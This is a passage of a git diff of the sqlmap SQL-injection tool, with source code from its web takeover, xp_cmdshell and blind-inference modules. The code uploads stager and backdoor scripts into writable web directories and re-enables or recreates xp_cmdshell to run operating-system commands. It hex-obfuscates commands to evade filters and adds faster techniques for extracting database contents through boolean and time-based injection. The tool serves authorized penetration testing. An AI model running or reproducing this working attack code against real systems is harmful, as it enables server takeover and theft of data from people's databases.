HTTP_HEADER.SET_COOKIE in headers: + cookie = headers[HTTP_HEADER.SET_COOKIE] + + if cookie: + value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) + if value != cookie: + page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) + parseFilePaths(page) + + value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie) + if value != cookie: + page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) + parseFilePaths(page) + directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) - directories = list(oset(directories)) + directories = list(OrderedSet(directories)) - backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) - backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) + path = _urllib.parse.urlparse(conf.url).path or '/' + path = re.sub(r"/[^/]*\.\w+\Z", '/', path) + if path != '/': + _ = [] + for directory in directories: + _.append(directory) + if not directory.endswith(path): + _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) + directories = _ - stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) + backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) + backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) + + stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) for directory in directories: if not directory: continue - stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) + stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False @@ -218,8 +295,6 @@ def webInit(self): if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory - else: - directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory if not directory.endswith('/'): directory += '/' @@ -232,7 +307,7 @@ def webInit(self): for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) - self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) + self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) @@ -254,22 +329,22 @@ def webInit(self): infoMsg += "via UNION method" logger.info(infoMsg) - stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) + stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) - handle, filename = mkstemp() - os.fdopen(handle).close() # close low level handle (causing problems later) + handle, filename = tempfile.mkstemp() + os.close(handle) - with open(filename, "w+") as f: - _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) - _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) + with openFile(filename, "w+") as f: + _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) + _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) - self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) + self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) @@ -287,10 +362,10 @@ def webInit(self): if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" - logger.warn(warnMsg) + logger.warning(warnMsg) continue - elif self.webApi == WEB_API.ASPX: + elif self.webPlatform == WEB_PLATFORM.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) @@ -298,7 +373,7 @@ def webInit(self): infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) - if self.webApi == WEB_API.ASP: + if self.webPlatform == WEB_PLATFORM.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: @@ -307,8 +382,8 @@ def webInit(self): continue _ = "tmpe%s.exe" % randomStr(lowercase=True) - if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): - self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) + if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): + self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: @@ -324,13 +399,12 @@ def webInit(self): warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " - getOutput = readInput(message, default="Y") - if getOutput in ("y", "Y"): + if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index f9c5f0b8f5e..3fd3fb6f902 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.agent import agent @@ -15,15 +15,17 @@ from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable -from lib.core.common import pushValue from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastResponseDelayed -from lib.core.convert import hexencode +from lib.core.compat import xrange +from lib.core.convert import encodeHex from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED @@ -33,7 +35,7 @@ from lib.core.threads import getCurrentThreadData from lib.request import inject -class Xp_cmdshell: +class XP_cmdshell(object): """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. @@ -45,7 +47,7 @@ def __init__(self): def _xpCmdshellCreate(self): cmd = "" - if Backend.isVersionWithin(("2005", "2008", "2012")): + if not Backend.isVersionWithin(("2000",)): logger.debug("activating sp_OACreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") @@ -56,7 +58,7 @@ def _xpCmdshellCreate(self): cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) - if Backend.isVersionWithin(("2005", "2008")): + if not Backend.isVersionWithin(("2000",)): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd)) @@ -83,10 +85,10 @@ def _xpCmdshellConfigure2000(self, mode): return cmd def _xpCmdshellConfigure(self, mode): - if Backend.isVersionWithin(("2005", "2008")): - cmd = self._xpCmdshellConfigure2005(mode) - else: + if Backend.isVersionWithin(("2000",)): cmd = self._xpCmdshellConfigure2000(mode) + else: + cmd = self._xpCmdshellConfigure2005(mode) inject.goStacked(agent.runAsDBMSUser(cmd)) @@ -96,6 +98,7 @@ def _xpCmdshellCheck(self): return wasLastResponseDelayed() + @stackedmethod def _xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) @@ -111,8 +114,8 @@ def _xpCmdshellTest(self): errMsg += "storing console output within the back-end file system " errMsg += "does not have writing permissions for the DBMS process. " errMsg += "You are advised to manually adjust it with option " - errMsg += "--tmp-path switch or you will not be able to retrieve " - errMsg += "the commands output" + errMsg += "'--tmp-path' or you won't be able to retrieve " + errMsg += "the command(s) output" logger.error(errMsg) elif isNoneValue(output): logger.error("unable to retrieve xp_cmdshell output") @@ -134,7 +137,7 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): for line in lines: echoedLine = "echo %s " % line - echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile) + echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) for echoedLine in echoedLines: @@ -163,9 +166,12 @@ def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # Obfuscate the command to execute, also useful to bypass filters # on single-quotes self._randStr = randomStr(lowercase=True) - self._cmd = "0x%s" % hexencode(cmd) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr - self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd) + + try: + self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False)) + except UnicodeError: + self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) # Insert the command standard output into a support table, # 'sqlmapoutput', except when DBMS credentials are provided because @@ -214,14 +220,14 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) - if (output is None) or len(output)==0 or output[0] is None: + if (output is None) or len(output) == 0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): - query = agent.limitQuery(index, query, self.tblField) - output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) + limitedQuery = agent.limitQuery(index, query, self.tblField) + output.append(inject.getValue(limitedQuery, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) @@ -255,9 +261,8 @@ def xpCmdshellInit(self): message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " - choice = readInput(message, default="Y") - if not choice or choice in ("y", "Y"): + if readInput(message, default='Y', boolean=True): self._xpCmdshellConfigure(1) if self._xpCmdshellCheck(): @@ -265,7 +270,7 @@ def xpCmdshellInit(self): kb.xpCmdshellAvailable = True else: - logger.warn("xp_cmdshell re-enabling failed") + logger.warning("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") self._xpCmdshellConfigure(0) @@ -278,7 +283,7 @@ def xpCmdshellInit(self): else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" - logger.warn(warnMsg) + logger.warning(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 11e78ed6cd4..bb449c3d5fc 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,56 +1,260 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import threading +from __future__ import division + +import heapq +import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout -from lib.core.common import decodeHexValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter -from lib.core.common import goGoodSamaritan +from lib.core.common import getFileItems from lib.core.common import getPartRun +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData +from lib.core.common import getText +from lib.core.common import predictValue from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter +from lib.core.common import isDigit +from lib.core.common import isListLike from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.wordlist import Wordlist from lib.core.settings import CHAR_INFERENCE_MARK +from lib.core.settings import HUFFMAN_PROBE_LIMIT +from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS +from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK +from lib.core.settings import DUMP_CHARSET_STABLE_ROWS +from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES +from lib.core.settings import LOW_CARDINALITY_THRESHOLD +from lib.core.settings import NAME_PREDICTION_CONTEXTS +from lib.core.settings import NAME_MARKOV_ORDER +from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY +from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS +from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH from lib.core.settings import INFERENCE_BLANK_BREAK -from lib.core.settings import INFERENCE_UNKNOWN_CHAR -from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import INFERENCE_GREATER_CHAR +from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR +from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import MAX_BISECTION_LENGTH -from lib.core.settings import MAX_TIME_REVALIDATION_STEPS +from lib.core.settings import MAX_REVALIDATION_STEPS +from lib.core.settings import NULL from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER +from lib.core.settings import PAYLOAD_DELIMITER +from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode from lib.utils.xrange import xrange +from thirdparty import six + +# Sentinel returned by the opt-in Huffman retrieval (--huffman) meaning "this character is +# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection". +_HUFFMAN_FALLBACK = object() + +# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process +_huffmanPriorCache = {} + +def normalizedExpression(expression): + """ + Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies + from row to row is masked so every row of the same column maps to a single key. Used to group a + column's values for low-cardinality guessing and for its per-column online Huffman model. + + >>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1") + True + """ + + retVal = expression + + for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"): + retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I) + + return retVal + +def getHuffmanPrior(order, scale, dbms=None): + """ + Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman + set-membership tree during blind NAME enumeration (so it predicts from the first character rather + than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the + back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching + [<DBMS>] section of catalog-identifiers.tx_ - a single global model dilutes across dialects). + Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model. + """ + + if (order, scale, dbms) in _huffmanPriorCache: + return _huffmanPriorCache[(order, scale, dbms)] + + prior = {} + names = [] + + for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES): + try: + names.extend(getFileItems(path)) + except Exception: + pass + + if dbms: + wordlist = None + try: + wordlist = Wordlist(paths.CATALOG_IDENTIFIERS) # transparently decompresses the shipped .tx_ + section = None + for line in wordlist: + line = getText(line).strip() + if not line or line.startswith('#'): + continue + if line.startswith('[') and line.endswith(']'): + section = line[1:-1] + elif section == dbms: + names.append(line) + except Exception: + pass + finally: + if wordlist is not None: + wordlist.closeFP() + + for name in names: + terminated = name + "\x00" + for i in xrange(len(terminated)): + ordinal = ord(terminated[i]) + if ordinal < 128: + counts = prior.setdefault(terminated[max(0, i - order):i], {}) + counts[ordinal] = counts.get(ordinal, 0) + 1 + + for counts in prior.values(): + peak = max(counts.values()) or 1 + for ordinal in counts: + counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak))) + + _huffmanPriorCache[(order, scale, dbms)] = prior + return prior + +def contextWeights(model, prior, order, prefix): + """ + Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus + the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest + context has not been seen yet. The online model is snapshotted under kb.locks.prediction because + value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise). + """ + + weights = {} + context = prefix[-order:] if order > 0 else "" + + while True: + with kb.locks.prediction: + online = dict(model.get(context) or ()) + for source in (online, prior.get(context) if prior is not None else None): + if source: + for symbol, count in source.items(): + weights[symbol] = weights.get(symbol, 0) + count + + if weights or not context: + break + + context = context[1:] + + return weights + +def valueMatchCondition(expressionUnescaped, value): + """ + Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a + string), or None when a whole-value equality cannot be trusted and the caller must fall back to + per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification. + + Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by + the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same + bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a + needless re-extraction). ASCII values compare reliably. + + On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a + numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare- + number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL) + "text = 1" is a hard type error that would abort the whole boolean, and there the expression is already + text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides + whether a whole-value shortcut hits or falls back to per-character extraction. + + >>> valueMatchCondition("q", "abc").count("OR") + 0 + >>> valueMatchCondition("q", u"caf\\xe9") is None + True + """ + + if value is None or any(ord(_) >= 128 for _ in value): + return None + + quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False) + condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted) + + if re.match(r"\A-?\d+(\.\d+)?\Z", value) and Backend.getIdentifiedDbms() == DBMS.SQLITE: + condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value) + + return condition + +def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare): + """ + Known-answer differential health-check on the inference oracle, using the value just extracted. + Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = <value with one + character corrupted>" (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel + (e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe, + and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal. + + Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected + inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare (non-ASCII). + """ + + if not value or valueMatchCondition(expressionUnescaped, value) is None: + return True + + # a definitely-different copy: flip the last character to a neighbour that cannot equal it + corrupt = value[:-1] + ("a" if value[-1] != "a" else "b") + corruptCondition = valueMatchCondition(expressionUnescaped, corrupt) + if corruptCondition is None: + return True + + try: + truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value)))) + mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + + falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition))) + mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + except Exception: + return True # a transient hiccup is not evidence of an unreliable oracle + + return bool(mustBeTrue) and not bool(mustBeFalse) def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ @@ -63,12 +267,28 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None partialValue = u"" finalValue = None retrievedLength = 0 - asciiTbl = getCharset(charsetType) - timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + columnKey = None + + if payload is None: + return 0, None + + if charsetType is None and conf.charset: + # conf.charset is fixed for the whole run; compute the table once, not per bisection() call + if kb.cache.charsetAsciiTbl is None: + kb.cache.charsetAsciiTbl = sorted(set(ord(_) for _ in conf.charset)) + asciiTbl = kb.cache.charsetAsciiTbl + else: + asciiTbl = getCharset(charsetType) + + threadData = getCurrentThreadData() + threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess + timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: - if PARTIAL_HEX_VALUE_MARKER in retVal: + if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: + pass + elif PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: @@ -88,32 +308,51 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return 0, retVal + if Backend.isDbms(DBMS.MCKOI): + match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) + if match: + original = queries[Backend.getIdentifiedDbms()].inference.query + right = original.split('<')[1] + payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) + expression = match.group(1).strip() + + elif Backend.isDbms(DBMS.FRONTBASE): + match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) + if match: + payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) + payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) + expression = match.group(2).strip() + try: - # Set kb.partRun in case "common prediction" feature (a.k.a. "good - # samaritan") is used or the engine is called from the API - if conf.predictOutput: - kb.partRun = getPartRun() - elif hasattr(conf, "api"): - kb.partRun = getPartRun(alias=False) - else: - kb.partRun = None + # kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH + # the value-parallel and the classic serial name-enumeration paths. It is derived from the call + # stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites + # when it finds a match, so it does NOT clobber the context the value-parallel helper set for its + # worker threads (whose call stack does not include the enumeration method -> getPartRun is None). + derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson)) + if derivedPartRun is not None: + kb.partRun = derivedPartRun if partialValue: firstChar = len(partialValue) - elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): + elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): firstChar = 0 - elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): + elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 - elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): + if kb.fileReadMode: + firstChar <<= 1 + elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 - if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): + if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): lastChar = 0 - elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): + elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) - elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): + if kb.fileReadMode: # Note: file content is retrieved hex-encoded (2 chars per byte), mirroring the firstChar handling above + lastChar <<= 1 + elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 @@ -126,7 +365,61 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: expressionUnescaped = unescaper.escape(expression) - if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): + # Row-independent key for this column (pagination offset masked), grouping all of a column's + # rows for low-cardinality guessing and for its own per-column online Huffman model. + columnKey = normalizedExpression(expression) if dump else None + + # Low-cardinality whole-value guessing: when the distinct values already seen for this column are + # few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them + # (one request on a hit) before per-character extraction - a large win on the enum/flag/status/ + # category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails). + # Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed + # request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires + # on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay. + if columnKey is not None and not partialValue: + # Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently). + with kb.locks.prediction: + seen = dict(kb.lowCardCache.get(columnKey) or ()) + # Arm only once SOME value has repeated (max count >= 2): that is the proof the column is + # low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe. + # Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a + # column that trips the threshold with many near-unique values wastes only a bounded number of + # probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value. + if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2: + for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]: + matchCondition = valueMatchCondition(expressionUnescaped, candidate) + if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char + continue + forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition))) + hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit and timeBasedCompare: + # A single time-based boolean is noisy; confirm the whole-value hit with a + # not-equals check (validateChar spirit) before trusting it, so timing jitter can + # never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the + # ~7-delays/char x N of full extraction. + notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition))) + hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit: + threadData.lowCardHit = True + return getCounter(getTechnique()), candidate + + # Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context + # and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name + # from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN + # order-0 model: each column learns its own character distribution, so a column restricted to few + # characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone + # (e.g. ~4 requests/char on hex instead of 